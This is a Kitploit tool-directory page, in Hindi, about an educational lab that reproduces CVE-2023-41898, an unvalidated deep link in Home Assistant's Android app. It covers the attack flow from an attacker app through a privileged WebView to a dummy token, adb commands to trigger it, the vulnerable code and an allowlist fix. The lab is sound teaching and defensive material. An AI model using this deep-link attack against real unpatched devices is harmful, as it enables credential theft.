Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-41898_Lab — CVE-2023-41898 का चरण-दर-चरण अध्ययन करें: Home Assistant Android में एक सत्यापित-रहित डीप लिंक का शोषण करके विशेषाधिकार प्राप्त WebView में मनमाने URL लोड करें और एक नकली टोकन लीक करें। | Kitploit
उपकरण/GitHubGitHub/lazybear8372/cve-2023-41898_lab
एंड्रॉइड सुरक्षाभेद्यता विश्लेषणमोबाइल ऐप पेंटेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

CVE-2023-41898 का चरण-दर-चरण अध्ययन करें: Home Assistant Android में एक सत्यापित-रहित डीप लिंक का शोषण करके विशेषाधिकार प्राप्त WebView में मनमाने URL लोड करें और एक नकली टोकन लीक करें।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
329 दिन पहलेअभी तक समीक्षित नहीं

CVE-2023-41898 Unvalidated Deep Link Lab

यह Home Assistant Companion for Android की सार्वजनिक भेद्यता रिपोर्ट (GHSL-2023-142) और कमजोर संस्करण 2023.8.2 की ओपन-सोर्स संरचना पर आधारित एक शैक्षिक लघु पुनरुत्पादन लैब है।

वास्तविक Home Assistant सर्वर, खाते या टोकन का उपयोग नहीं किया जाता है। केवल LAB_TOKEN_CVE_2023_41898_NOT_REAL नामक एक निश्चित डमी टोकन ही उजागर होता है।

भेद्यता अवलोकन

  • लक्ष्य: Home Assistant Companion for Android
  • प्रभावित संस्करण: 2023.9.2 से कम (आधिकारिक सलाह के अनुसार)
  • सुधारित संस्करण: 2023.9.2
  • श्रेणी: Unvalidated Deep Link Handling / WebView में Arbitrary URL Loading
  • परिणाम: मनमाना JavaScript निष्पादन, सीमित नेटिव फ़ंक्शन कॉल और क्रेडेंशियल चोरी की संभावना

लैब संरचना

root@kitploit:~
Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 검증 없이 JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 공격자 페이지에 externalApp JavaScript bridge 노출
  ▼
가상 LAB_TOKEN 표시

Android manifest में intent-filter केवल यह परिभाषित करता है कि कौन सा URI अंतर्निहित (implicit) Intent से मेल खाता है; स्पष्ट रूप से किसी कंपोनेंट को निर्दिष्ट करने वाले Intent के data URI को यह स्वचालित रूप से सत्यापित नहीं करता है।

घटक

  • victim/: कमजोर deep-link हैंडलर और विशेषाधिकार प्राप्त WebView को पुनरुत्पादित करने वाला ऐप
  • attacker/: पीड़ित ऐप के exported Activity को स्पष्ट Intent भेजने वाला हमलावर ऐप
  • web/: स्थानीय रूप से प्रदान किए जाने वाले चरण 1 और 2 के हमले वाले पृष्ठ
  • dist/: सत्यापित डीबग APK
  • UPSTREAM.md: मूल स्रोत और लैब कार्यान्वयन के बीच संबंध

बिल्ड

आवश्यकताएँ: JDK 17 या उच्चतर, Android SDK 36, Gradle/Android Gradle Plugin कैश या इंटरनेट कनेक्शन।

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

स्थापना और अभ्यास

केवल अधिकृत एमुलेटर या परीक्षण डिवाइस पर चलाएँ।

1. APK स्थापना

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. स्थानीय हमला पृष्ठ चलाना

लैब रूट में निम्न कमांड चलाएँ।

root@kitploit:~
python3 -m http.server 8000 --directory web

Android Studio डिफ़ॉल्ट एमुलेटर में 10.0.2.2 होस्ट PC के loopback को इंगित करता है। यदि आप वास्तविक परीक्षण डिवाइस का उपयोग करते हैं, तो web/exploit.html और हमलावर ऐप के URL को PC के LAN IP में बदलें।

3. हमले के प्रवाह की पुष्टि

  1. CVE-2023-41898 Victim और CVE-2023-41898 Attacker ऐप इंस्टॉल करें।
  2. स्थानीय HTTP सर्वर चलाएँ।
  3. हमलावर ऐप में कमजोर डीपलिंक प्रवाह चलाएँ बटन दबाएँ।
  4. पहला हमला पृष्ठ आंतरिक homeassistant://navigate/ URL पर नेविगेट करता है।
  5. जाँचें कि दूसरे WebView में हमलावर पृष्ठ लोड होता है और LAB_TOKEN_CVE_2023_41898_NOT_REAL प्रदर्शित होता है।

ADB के माध्यम से हमलावर ऐप के बिना भी पहला चरण लागू किया जा सकता है।

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

कमजोर कोड और सुधार की दिशा

कमजोर कार्यान्वयन बाहरी URI को सीधे लोड करता है।

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

सुधार करते समय, पार्स किए गए URI के scheme, host, port और path को एक सख्त allowlist के साथ सत्यापित किया जाना चाहिए। स्ट्रिंग startsWith तुलना का उपयोग न करें, क्योंकि इसमें userinfo ([email protected]), सबडोमेन और एन्कोडिंग बायपास का जोखिम होता है।

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

इसके अतिरिक्त, WebView से अनावश्यक JavaScript और JavascriptInterface को हटाएँ, और सभी नेविगेशन और रीडायरेक्ट पर भी समान URL सत्यापन लागू करें।

सुरक्षा दायरा और मूल से अंतर

  • मूल ऐप को पूर्ण रूप से बिल्ड करने के बजाय केवल कमजोर डेटा प्रवाह को एक छोटे Java प्रोजेक्ट में पुनरुत्पादित किया गया।
  • इसमें वास्तविक पैकेज नाम, प्रमाणीकरण स्टोरेज, सर्वर संचार और स्मार्ट-होम सुविधाएँ शामिल नहीं हैं।
  • वास्तविक प्रमाणीकरण टोकन के बजाय केवल एक निश्चित डमी टोकन का उपयोग किया जाता है।
  • इंटरनेट पर हमले वाले सर्वर के बजाय केवल होस्ट PC का स्थानीय HTTP सर्वर उपयोग किया जाता है।

संदर्भ

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Home Assistant सुरक्षा सलाह GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • कमजोर संस्करण स्रोत टैग 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
टूल डाउनलोड करें